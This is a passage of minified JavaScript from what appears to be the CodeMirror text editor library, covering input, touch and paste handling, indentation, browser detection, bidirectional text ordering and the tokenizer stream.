k=B(f,d.ch,d.sticky),l=k-g||(d.ch-c.ch)*(1==h.level?-1:1);j=k==i-1||k==i?l<0:l>0}var
m=f[i+(j?-1:0)],n=j==(1==m.level),o=n?m.from:m.to,p=n?"after":"before";return
c.ch==o&&c.sticky==p?b:new Dh(new ha(c.line,o,p),d)}function
Of(a,b,c,d){var
e,f;if(b.touches)e=b.touches[0].clientX,f=b.touches[0].clientY;else
try{e=b.clientX,f=b.clientY}catch(a){return!1}if(e>=Math.floor(a.display.gutters.getBoundingClientRect().right))return!1;d&&K(b);var
g=a.display,h=g.lineDiv.getBoundingClientRect();if(f>h.bottom||!I(a,c))return
M(b);f-=h.top-g.viewOffset;for(var
i=0;i<a.display.gutterSpecs.length;++i){var
j=g.gutters.childNodes[i];if(j&&j.getBoundingClientRect().right>=e){return
F(a,c,a,ea(a.doc,f),a.display.gutterSpecs[i].className,b),M(b)}}}function
Pf(a,b){return Of(a,b,"gutterClick",!0)}function
Qf(a,b){Jb(a.display,b)||Rf(a,b)||G(a,b,"contextmenu")||Kg||a.display.input.onContextMenu(b)}function
Rf(a,b){return!!I(a,"gutterContextMenu")&&Of(a,b,"gutterContextMenu",!1)}function
Sf(a){a.display.wrapper.className=a.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+a.options.theme.replace(/(^|\s)\s*/g,"
cm-s-"),bc(a)}function Tf(a,b,c){if(!b!=!(c&&c!=Xh)){var
d=a.display.dragFunctions,e=b?_g:E;e(a.display.scroller,"dragstart",d.start),e(a.display.scroller,"dragenter",d.enter),e(a.display.scroller,"dragover",d.over),e(a.display.scroller,"dragleave",d.leave),e(a.display.scroller,"drop",d.drop)}}function
Uf(a){a.options.lineWrapping?(h(a.display.wrapper,"CodeMirror-wrap"),a.display.sizer.style.minWidth="",a.display.sizerWidth=null):(Lg(a.display.wrapper,"CodeMirror-wrap"),eb(a)),xc(a),Ac(a),bc(a),setTimeout((function(){return
fd(a)}),100)}function Vf(a,b){var c=this;if(!(this instanceof Vf))return
new Vf(a,b);this.options=b=b?k(b):{},k(Yh,b,!1);var d=b.value
;"string"==typeof d?d=new
Jh(d,b.mode,null,b.lineSeparator,b.direction):b.mode&&(d.modeOption=b.mode),this.doc=d;var
e=new Vf.inputStyles[b.inputStyle](this),f=this.display=new
Kd(a,d,e,b);f.wrapper.CodeMirror=this,Sf(this),b.lineWrapping&&(this.display.wrapper.className+="
CodeMirror-wrap"),hd(this),this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:-1,cutIncoming:-1,selectingText:!1,draggingText:!1,highlight:new
Ng,keySeq:null,specialChars:null},b.autofocus&&!Dg&&f.input.focus(),sg&&tg<11&&setTimeout((function(){return
c.display.input.reset(!0)}),20),Wf(this),cf(),id(this),this.curOp.forceUpdate=!0,$d(this,d),b.autofocus&&!Dg||this.hasFocus()?setTimeout(j(Oc,this),20):Pc(this);for(var
g in
Zh)Zh.hasOwnProperty(g)&&Zh[g](this,b[g],Xh);Gd(this),b.finishInit&&b.finishInit(this);for(var
h=0;h<$h.length;++h)$h[h](this);jd(this),ug&&b.lineWrapping&&"optimizelegibility"==getComputedStyle(f.lineDiv).textRendering&&(f.lineDiv.style.textRendering="auto")}function
Wf(a){function b(){e.activeTouch&&(f=setTimeout((function(){return
e.activeTouch=null}),1e3),g=e.activeTouch,g.end=+new Date)}function
c(a){if(1!=a.touches.length)return!1;var b=a.touches[0];return
b.radiusX<=1&&b.radiusY<=1}function
d(a,b){if(null==b.left)return!0;var c=b.left-a.left,d=b.top-a.top;return
c*c+d*d>400}var
e=a.display;_g(e.scroller,"mousedown",rd(a,Gf)),sg&&tg<11?_g(e.scroller,"dblclick",rd(a,(function(b){if(!G(a,b)){var
c=yc(a,b);if(c&&!Pf(a,b)&&!Jb(a.display,b)){K(b);var
d=a.findWordAt(c);pe(a.doc,d.anchor,d.head)}}}))):_g(e.scroller,"dblclick",(function(b){return
G(a,b)||K(b)})),_g(e.scroller,"contextmenu",(function(b){return
Qf(a,b)})),_g(e.input.getField(),"contextmenu",(function(b){e.scroller.contains(b.target)||Qf(a,b)}));var
f,g={end:0};_g(e.scroller,"touchstart",(function(b){if(!G(a,b)&&!c(b)&&!Pf(a,b)){e.input.ensurePolled(),clearTimeout(f);var
d=+new
Date;e.activeTouch={start:d,moved:!1,prev:d-g.end<=300?g:null},1==b.touches.length&&(e.activeTouch.left=b.touches[0].pageX,e.activeTouch.top=b.touches[0].pageY)}})),_g(e.scroller,"touchmove",(function(){e.activeTouch&&(e.activeTouch.moved=!0)})),_g(e.scroller,"touchend",(function(c){var
f=e.activeTouch;if(f&&!Jb(e,c)&&null!=f.left&&!f.moved&&new
Date-f.start<300){var
g,h=a.coordsChar(e.activeTouch,"page");g=!f.prev||d(f,f.prev)?new
Dh(h,h):!f.prev.prev||d(f,f.prev.prev)?a.findWordAt(h):new
Dh(ha(h.line,0),oa(a.doc,ha(h.line+1,0))),a.setSelection(g.anchor,g.head),a.focus(),K(c)}b()})),_g(e.scroller,"touchcancel",b),_g(e.scroller,"scroll",(function(){e.scroller.clientHeight&&(bd(a,e.scroller.scrollTop),dd(a,e.scroller.scrollLeft,!0),F(a,"scroll",a))})),_g(e.scroller,"mousewheel",(function(b){return
Nd(a,b)})),_g(e.scroller,"DOMMouseScroll",(function(b){return
Nd(a,b)})),_g(e.wrapper,"scroll",(function(){return
e.wrapper.scrollTop=e.wrapper.scrollLeft=0})),e.dragFunctions={enter:function(b){G(a,b)||N(b)},over:function(b){G(a,b)||(_e(a,b),N(b))},start:function(b){return
$e(a,b)},drop:rd(a,Ze),leave:function(b){G(a,b)||af(a)}};var
h=e.input.getField();_g(h,"keyup",(function(b){return
Df.call(a,b)})),_g(h,"keydown",rd(a,Bf)),_g(h,"keypress",rd(a,Ef)),_g(h,"focus",(function(b){return
Oc(a,b)})),_g(h,"blur",(function(b){return Pc(a,b)}))}function
Xf(a,b,c,d){var
e,f=a.doc;null==c&&(c="add"),"smart"==c&&(f.mode.indent?e=ta(a,b).state:c="prev");var
g=a.options.tabSize,h=_(f,b),i=l(h.text,null,g);h.stateAfter&&(h.stateAfter=null);var
j,k=h.text.match(/^\s*/)[0];if(d||/\S/.test(h.text)){if("smart"==c&&((j=f.mode.indent(e,h.text.slice(k.length),h.text))==Rg||j>150)){if(!d)return;c="prev"}}else
j=0,c="not";"prev"==c?j=b>f.first?l(_(f,b-1).text,null,g):0:"add"==c?j=i+a.options.indentUnit:"subtract"==c?j=i-a.options.indentUnit:"number"==typeof
c&&(j=i+c),j=Math.max(0,j);var
m="",n=0;if(a.options.indentWithTabs)for(var
p=Math.floor(j/g);p;--p)n+=g,m+="\t";if(n<j&&(m+=o(j-n)),m!=k)return
Le(f,m,ha(b,0),ha(b,k.length),"+input"),h.stateAfter=null,!0;for(var
q=0;q<f.sel.ranges.length;q++){var
r=f.sel.ranges[q];if(r.head.line==b&&r.head.ch<k.length){var
s=ha(b,k.length);re(f,q,new Dh(s,s));break}}}function Yf(a){_h=a}function
Zf(a,b,c,d,e){var f=a.doc;a.display.shift=!1,d||(d=f.sel);var g=+new
Date-200,h="paste"==e||a.state.pasteIncoming>g,i=bh(b),j=null;if(h&&d.ranges.length>1)if(_h&&_h.text.join("\n")==b){if(d.ranges.length%_h.text.length==0){j=[];for(var
k=0;k<_h.text.length;k++)j.push(f.splitLines(_h.text[k]))}}else
i.length==d.ranges.length&&a.options.pasteLinesPerSelection&&(j=q(i,(function(a){return[a]})));for(var
l=a.curOp.updateInput,m=d.ranges.length-1;m>=0;m--){var
n=d.ranges[m],o=n.from(),r=n.to();n.empty()&&(c&&c>0?o=ha(o.line,o.ch-c):a.state.overwrite&&!h?r=ha(r.line,Math.min(_(f,r.line).text.length,r.ch+p(i).length)):h&&_h&&_h.lineWise&&_h.text.join("\n")==i.join("\n")&&(o=r=ha(o.line,0)));var
s={from:o,to:r,text:j?j[m%j.length]:i,origin:e||(h?"paste":a.state.cutIncoming>g?"cut":"+input")};Fe(a.doc,s),ub(a,"inputRead",a,s)}b&&!h&&_f(a,b),Yc(a),a.curOp.updateInput<2&&(a.curOp.updateInput=l),a.curOp.typing=!0,a.state.pasteIncoming=a.state.cutIncoming=-1}function
$f(a,b){var
c=a.clipboardData&&a.clipboardData.getData("Text");if(c)return
a.preventDefault(),b.isReadOnly()||b.options.disableInput||qd(b,(function(){return
Zf(b,c,0,null,"paste")})),!0}function
_f(a,b){if(a.options.electricChars&&a.options.smartIndent)for(var
c=a.doc.sel,d=c.ranges.length-1;d>=0;d--){var
e=c.ranges[d];if(!(e.head.ch>100||d&&c.ranges[d-1].head.line==e.head.line)){var
f=a.getModeAt(e.head),g=!1;if(f.electricChars){for(var
h=0;h<f.electricChars.length;h++)if(b.indexOf(f.electricChars.charAt(h))>-1){g=Xf(a,e.head.line,"smart");break}}else
f.electricInput&&f.electricInput.test(_(a.doc,e.head.line).text.slice(0,e.head.ch))&&(g=Xf(a,e.head.line,"smart"));g&&ub(a,"electricInput",a,e.head.line)}}}function
ag(a){for(var b=[],c=[],d=0;d<a.doc.sel.ranges.length;d++){var
e=a.doc.sel.ranges[d].head.line,f={anchor:ha(e,0),head:ha(e+1,0)};c.push(f),b.push(a.getRange(f.anchor,f.head))}return{text:b,ranges:c}}function
bg(a,b,c,d){a.setAttribute("autocorrect",c?"":"off"),a.setAttribute("autocapitalize",d?"":"off"),a.setAttribute("spellcheck",!!b)}function
cg(){var a=d("textarea",null,null,"position: absolute;
bottom: -1em; padding: 0; width: 1px; height: 1em; outline:
none"),b=d("div",[a],null,"overflow: hidden; position:
relative; width: 3px; height: 0px;");return
ug?a.style.width="1000px":a.setAttribute("wrap","off"),Bg&&(a.style.border="1px
solid black"),bg(a),b}function dg(a,b,c,d,e){function f(){var
c=b.line+k;return!(c<a.first||c>=a.first+a.size)&&(b=new
ha(c,b.ch,b.sticky),j=_(a,c))}function g(d){var
g;if(null==(g=e?rf(a.cm,j,b,c):pf(j,b,c))){if(d||!f())return!1;b=qf(e,a.cm,j,b.line,k)}else
b=g;return!0}var
h=b,i=c,j=_(a,b.line),k=e&&"rtl"==a.direction?-c:c;if("char"==d)g();else
if("column"==d)g(!0);else
if("word"==d||"group"==d)for(var
l=null,m="group"==d,n=a.cm&&a.cm.getHelper(b,"wordChars"),o=!0;!(c<0)||g(!o);o=!1){var
p=j.text.charAt(b.ch)||"\n",q=v(p,n)?"w":m&&"\n"==p?"n":!m||/\s/.test(p)?null:"p";if(!m||o||q||(q="s"),l&&l!=q){c<0&&(c=1,g(),b.sticky="after");break}if(q&&(l=q),c>0&&!g(!o))break}var
r=Be(a,b,h,i,!0);return ja(h,r)&&(r.hitSide=!0),r}function
eg(a,b,c,d){var e,f=a.doc,g=b.left;if("page"==d){var
h=Math.min(a.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight),i=Math.max(h-.5*sc(a.display),3);e=(c>0?b.bottom:b.top)+c*i}else"line"==d&&(e=c>0?b.bottom+3:b.top-3);for(var
j;j=lc(a,g,e),j.outside;){if(c<0?e<=0:e>=f.height){j.hitSide=!0;break}e+=5*c}return
j}function fg(a,b){var c=Ub(a,b.line);if(!c||c.hidden)return null;var
d=_(a.doc,b.line),e=Rb(c,d,b.line),f=C(d,a.doc.direction),g="left";if(f){g=B(f,b.ch)%2?"right":"left"}var
h=Xb(e.map,b.ch,g);return
h.offset="right"==h.collapse?h.end:h.start,h}function
gg(a){for(var
b=a;b;b=b.parentNode)if(/CodeMirror-gutter-wrapper/.test(b.className))return!0;return!1}function
hg(a,b){return b&&(a.bad=!0),a}function ig(a,b,c,d,e){function
f(a){return function(b){return b.id==a}}function
g(){k&&(j+=l,m&&(j+=l),k=m=!1)}function
h(a){a&&(g(),j+=a)}function i(b){if(1==b.nodeType){var
c=b.getAttribute("cm-text");if(c)return void h(c);var
j,n=b.getAttribute("cm-marker");if(n){var
o=a.findMarks(ha(d,0),ha(e+1,0),f(+n));return
void(o.length&&(j=o[0].find(0))&&h(aa(a.doc,j.from,j.to).join(l)))}if("false"==b.getAttribute("contenteditable"))return;var
p=/^(pre|div|p|li|table|br)$/i.test(b.nodeName);if(!/^br$/i.test(b.nodeName)&&0==b.textContent.length)return;p&&g();for(var
q=0;q<b.childNodes.length;q++)i(b.childNodes[q]);/^(pre|p)$/i.test(b.nodeName)&&(m=!0),p&&(k=!0)}else
3==b.nodeType&&h(b.nodeValue.replace(/\u200b/g,"").replace(/\u00a0/g,"
"))}for(var
j="",k=!1,l=a.doc.lineSeparator(),m=!1;i(b),b!=c;)b=b.nextSibling,m=!1;return
j}function jg(a,b,c){var
d;if(b==a.display.lineDiv){if(!(d=a.display.lineDiv.childNodes[c]))return
hg(a.clipPos(ha(a.display.viewTo-1)),!0);b=null,c=0}else
for(d=b;;d=d.parentNode){if(!d||d==a.display.lineDiv)return
null;if(d.parentNode&&d.parentNode==a.display.lineDiv)break}for(var
e=0;e<a.display.view.length;e++){var
f=a.display.view[e];if(f.node==d)return kg(f,b,c)}}function
kg(a,b,c){function d(b,c,d){for(var e=-1;e<(l?l.length:0);e++)for(var
f=e<0?k.map:l[e],g=0;g<f.length;g+=3){var h=f[g+2];if(h==b||h==c){var
i=da(e<0?a.line:a.rest[e]),j=f[g]+d;return(d<0||h!=b)&&(j=f[g+(d?1:0)]),ha(i,j)}}}var
e=a.text.firstChild,g=!1;if(!b||!f(e,b))return
hg(ha(da(a.line),0),!0);if(b==e&&(g=!0,b=e.childNodes[c],c=0,!b)){var
h=a.rest?p(a.rest):a.line;return hg(ha(da(h),h.text.length),g)}var
i=3==b.nodeType?b:null,j=b;for(i||1!=b.childNodes.length||3!=b.firstChild.nodeType||(i=b.firstChild,c&&(c=i.nodeValue.length));j.parentNode!=e;)j=j.parentNode;var
k=a.measure,l=k.maps,m=d(i,j,c);if(m)return hg(m,g);for(var
n=j.nextSibling,o=i?i.nodeValue.length-c:0;n;n=n.nextSibling){if(m=d(n,n.firstChild,0))return
hg(ha(m.line,m.ch-o),g);o+=n.textContent.length}for(var
q=j.previousSibling,r=c;q;q=q.previousSibling){if(m=d(q,q.firstChild,-1))return
hg(ha(m.line,m.ch+r),g);r+=q.textContent.length}}function lg(a,b){function
c(){a.value=i.getValue()}if(b=b?k(b):{},b.value=a.value,!b.tabindex&&a.tabIndex&&(b.tabindex=a.tabIndex),!b.placeholder&&a.placeholder&&(b.placeholder=a.placeholder),null==b.autofocus){var
d=g();b.autofocus=d==a||null!=a.getAttribute("autofocus")&&d==document.body}var
e;if(a.form&&(_g(a.form,"submit",c),!b.leaveSubmitMethodAlone)){var
f=a.form;e=f.submit;try{var
h=f.submit=function(){c(),f.submit=e,f.submit(),f.submit=h}}catch(a){}}b.finishInit=function(d){d.save=c,d.getTextArea=function(){return
a},d.toTextArea=function(){d.toTextArea=isNaN,c(),a.parentNode.removeChild(d.getWrapperElement()),a.style.display="",a.form&&(E(a.form,"submit",c),b.leaveSubmitMethodAlone||"function"!=typeof
a.form.submit||(a.form.submit=e))}},a.style.display="none";var
i=Vf((function(b){return
a.parentNode.insertBefore(b,a.nextSibling)}),b);return i}var
mg=navigator.userAgent,ng=navigator.platform,og=/gecko\/\d/i.test(mg),pg=/MSIE
\d/.test(mg),qg=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(mg),rg=/Edge\/(\d+)/.exec(mg),sg=pg||qg||rg,tg=sg&&(pg?document.documentMode||6:+(rg||qg)[1]),ug=!rg&&/WebKit\//.test(mg),vg=ug&&/Qt\/\d+\.\d+/.test(mg),wg=!rg&&/Chrome\//.test(mg),xg=/Opera\//.test(mg),yg=/Apple
Computer/.test(navigator.vendor),zg=/Mac OS X
1\d\D([8-9]|\d\d)\D/.test(mg),Ag=/PhantomJS/.test(mg),Bg=!rg&&/AppleWebKit/.test(mg)&&/Mobile\/\w+/.test(mg),Cg=/Android/.test(mg),Dg=Bg||Cg||/webOS|BlackBerry|Opera
Mini|Opera
Mobi|IEMobile/i.test(mg),Eg=Bg||/Mac/.test(ng),Fg=/\bCrOS\b/.test(mg),Gg=/win/i.test(ng),Hg=xg&&mg.match(/Version\/(\d*\.\d*)/);Hg&&(Hg=Number(Hg[1])),Hg&&Hg>=15&&(xg=!1,ug=!0);var
Ig,Jg=Eg&&(vg||xg&&(null==Hg||Hg<12.11)),Kg=og||sg&&tg>=9,Lg=function(b,c){var
d=b.className,e=a(c).exec(d);if(e){var
f=d.slice(e.index+e[0].length);b.className=d.slice(0,e.index)+(f?e[1]+f:"")}};Ig=document.createRange?function(a,b,c,d){var
e=document.createRange();return
e.setEnd(d||a,c),e.setStart(a,b),e}:function(a,b,c){var
d=document.body.createTextRange();try{d.moveToElementText(a.parentNode)}catch(a){return
d}return
d.collapse(!0),d.moveEnd("character",c),d.moveStart("character",b),d};var
Mg=function(a){a.select()};Bg?Mg=function(a){a.selectionStart=0,a.selectionEnd=a.value.length}:sg&&(Mg=function(a){try{a.select()}catch(a){}});var
Ng=function(){this.id=null,this.f=null,this.time=0,this.handler=j(this.onTimeout,this)};Ng.prototype.onTimeout=function(a){a.id=0,a.time<=+new
Date?a.f():setTimeout(a.handler,a.time-+new
Date)},Ng.prototype.set=function(a,b){this.f=b;var c=+new
Date+a;(!this.id||c<this.time)&&(clearTimeout(this.id),this.id=setTimeout(this.handler,a),this.time=c)};var
Og,Pg,Qg=50,Rg={toString:function(){return"CodeMirror.Pass"}},Sg={scroll:!1},Tg={origin:"*mouse"},Ug={origin:"+move"},Vg=[""],Wg=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,Xg=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/,Yg=null,Zg=(function(){function
a(a){return
a<=247?c.charAt(a):1424<=a&&a<=1524?"R":1536<=a&&a<=1785?d.charAt(a-1536):1774<=a&&a<=2220?"r":8192<=a&&a<=8203?"w":8204==a?"b":"L"}function
b(a,b,c){this.level=a,this.from=b,this.to=c}var
c="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN",d="nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111",e=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,f=/[stwN]/,g=/[LRr]/,h=/[Lb1n]/,i=/[1n]/;return
function(c,d){var
j="ltr"==d?"L":"R";if(0==c.length||"ltr"==d&&!e.test(c))return!1;for(var
k=c.length,l=[],m=0;m<k;++m)l.push(a(c.charCodeAt(m)));for(var
n=0,o=j;n<k;++n){var q=l[n];"m"==q?l[n]=o:o=q}for(var
r=0,s=j;r<k;++r){var
t=l[r];"1"==t&&"r"==s?l[r]="n":g.test(t)&&(s=t,"r"==t&&(l[r]="R"))}for(var
u=1,v=l[0];u<k-1;++u){var
w=l[u];"+"==w&&"1"==v&&"1"==l[u+1]?l[u]="1":","!=w||v!=l[u+1]||"1"!=v&&"n"!=v||(l[u]=v),v=w}for(var
x=0;x<k;++x){var y=l[x];if(","==y)l[x]="N";else
if("%"==y){var z=void
0;for(z=x+1;z<k&&"%"==l[z];++z);for(var
A=x&&"!"==l[x-1]||z<k&&"1"==l[z]?"1":"N",B=x;B<z;++B)l[B]=A;x=z-1}}for(var
C=0,D=j;C<k;++C){var
E=l[C];"L"==D&&"1"==E?l[C]="L":g.test(E)&&(D=E)}for(var
F=0;F<k;++F)if(f.test(l[F])){var G=void
0;for(G=F+1;G<k&&f.test(l[G]);++G);for(var
H="L"==(F?l[F-1]:j),I="L"==(G<k?l[G]:j),J=H==I?H?"L":"R":j,K=F;K<G;++K)l[K]=J;F=G-1}for(var
L,M=[],N=0;N<k;)if(h.test(l[N])){var
O=N;for(++N;N<k&&h.test(l[N]);++N);M.push(new b(0,O,N))}else{var
P=N,Q=M.length,R="rtl"==d?1:0;for(++N;N<k&&"L"!=l[N];++N);for(var
S=P;S<N;)if(i.test(l[S])){P<S&&(M.splice(Q,0,new
b(1,P,S)),Q+=R);var
T=S;for(++S;S<N&&i.test(l[S]);++S);M.splice(Q,0,new
b(2,T,S)),Q+=R,P=S}else++S;P<N&&M.splice(Q,0,new
b(1,P,N))}return"ltr"==d&&(1==M[0].level&&(L=c.match(/^\s+/))&&(M[0].from=L[0].length,M.unshift(new
b(0,0,L[0].length))),1==p(M).level&&(L=c.match(/\s+$/))&&(p(M).to-=L[0].length,M.push(new
b(0,k-L[0].length,k)))),"rtl"==d?M.reverse():M}})(),$g=[],_g=function(a,b,c){if(a.addEventListener)a.addEventListener(b,c,!1);else
if(a.attachEvent)a.attachEvent("on"+b,c);else{var
d=a._handlers||(a._handlers={});d[b]=(d[b]||$g).concat(c)}},ah=(function(){if(sg&&tg<9)return!1;var
a=d("div");return"draggable"in
a||"dragDrop"in
a})(),bh=3!="\n\nb".split(/\n/).length?function(a){for(var
b=0,c=[],d=a.length;b<=d;){var
e=a.indexOf("\n",b);-1==e&&(e=a.length);var
f=a.slice(b,"\r"==a.charAt(e-1)?e-1:e),g=f.indexOf("\r");-1!=g?(c.push(f.slice(0,g)),b+=g+1):(c.push(f),b=e+1)}return
c}:function(a){return
a.split(/\r\n?|\n/)},ch=window.getSelection?function(a){try{return
a.selectionStart!=a.selectionEnd}catch(a){return!1}}:function(a){var
b;try{b=a.ownerDocument.selection.createRange()}catch(a){}return!(!b||b.parentElement()!=a)&&0!=b.compareEndPoints("StartToEnd",b)},dh=(function(){var
a=d("div");return"oncopy"in
a||(a.setAttribute("oncopy","return;"),"function"==typeof
a.oncopy)})(),eh=null,fh={},gh={},hh={},ih=function(a,b,c){this.pos=this.start=0,this.string=a,this.tabSize=b||8,this.lastColumnPos=this.lastColumnValue=0,this.lineStart=0,this.lineOracle=c};ih.prototype.eol=function(){return
this.pos>=this.string.length},ih.prototype.sol=function(){return
this.pos==this.lineStart},ih.prototype.peek=function(){return
this.string.charAt(this.pos)||void
0},ih.prototype.next=function(){if(this.pos<this.string.length)return
this.string.charAt(this.pos++)},ih.prototype.eat=function(a){var
b=this.string.charAt(this.pos);if("string"==typeof
a?b==a:b&&(a.test?a.test(b):a(b)))return++this.pos,b},ih.prototype.eatWhile=function(a){for(var
b=this.pos;this.eat(a););return
this.pos>b},ih.prototype.eatSpace=function(){for(var
a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return
this.pos>a},ih.prototype.skipToEnd=function(){this.pos=this.string.length},ih.prototype.skipTo=function(a){var
b=this.string.indexOf(a,this.pos);if(b>-1)return
this.pos=b,!0},ih.prototype.backUp=function(a){this.pos-=a},ih.prototype.column=function(){return
this.lastColumnPos<this.start&&(this.lastColumnValue=l(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue-(this.lineStart?l(this.string,this.lineStart,this.tabSize):0)},ih.prototype.indentation=function(){return
l(this.string,null,this.tabSize)-(this.lineStart?l(this.string,this.lineStart,this.tabSize):0)},ih.prototype.match=function(a,b,c){if("string"!=typeof
a){var d=this.string.slice(this.pos).match(a);return
d&&d.index>0?null:(d&&!1!==b&&(this.pos+=d[0].length),d)}var
e=function(a){return
c?a.toLowerCase():a};if(e(this.string.substr(this.pos,a.length))==e(a))return!1!==b&&(this.pos+=a.length),!0},ih.prototype.current=function(){return
this.string.slice(this.start,this.pos)},ih.prototype.hideFirstChars=function(a,b){this.lineStart+=a;try{return
b()}finally{this.lineStart-=a}},ih.prototype.lookAhead=function(a){var
b=this.lineOracle;return
b&&b.lookAhead(a)},ih.prototype.baseToken=function(){var
a=this.lineOracle;return a&&a.baseToken(this.pos)};var
jh=function(a,b){this.state=a,this.lookAhead=b},kh=function(a,b,c,d){this.state=b,this.doc=a,this.line=c,this.maxLookAhead=d||0,this.baseTokens=null,this.baseTokenPos=1};kh.prototype.lookAhead=function(a){var
b=this.doc.getLine(this.line+a);return
null!=b&&a>this.maxLookAhead&&(this.maxLookAhead=a),b},kh.prototype.baseToken=function(a){if(!this.baseTokens)return
null;for(;this.baseTokens[this.baseTokenPos]<=a;)this.baseTokenPos+=2;var
b=this.baseTokens[this.baseTokenPos+1];return{type:b&&b.replace(/(
|^)overlay
.*/,""),size:this.baseTokens[this.baseTokenPos]-a}},kh.prototype.nextLine=function(){this.line++,this.maxLookAhead>0&&this.maxLookAhead--},kh.fromSaved=function(a,b,c){return
b instanceof jh?new kh(a,Y(a.mode,b.state),c,b.lookAhead):new
kh(a,Y(a.mode,b),c)},kh.prototype.save=function(a){var
b=!1!==a?Y(this.doc.mode,this.state):this.state;return
this.maxLookAhead>0?new jh(b,this.maxLookAhead):b};var
lh=function(a,b,c){this.start=a.start,this.end=a.pos,this.string=a.current(),this.type=b||null,this.state=c},mh=!1,nh=!1,oh=function(a,b,c){this.text=a,Oa(this,b),this.height=c?c(this):1};oh.prototype.lineNo=function(){return
da(this)},J(oh);var
ph,qh={},rh={},sh=null,th=null,uh={left:0,right:0,top:0,bottom:0},vh=function(a,b,c){this.cm=c;var
e=this.vert=d("div",[d("div",null,null,"min-width:
1px")],"CodeMirror-vscrollbar"),f=this.horiz=d("div",[d("div",null,null,"height:
100%; min-height:
1px")],"CodeMirror-hscrollbar");e.tabIndex=f.tabIndex=-1,a(e),a(f),_g(e,"scroll",(function(){e.clientHeight&&b(e.scrollTop,"vertical")})),_g(f,"scroll",(function(){f.clientWidth&&b(f.scrollLeft,"horizontal")})),this.checkedZeroWidth=!1,sg&&tg<8&&(this.horiz.style.minHeight=this.vert.style.minWidth="18px")};vh.prototype.update=function(a){var
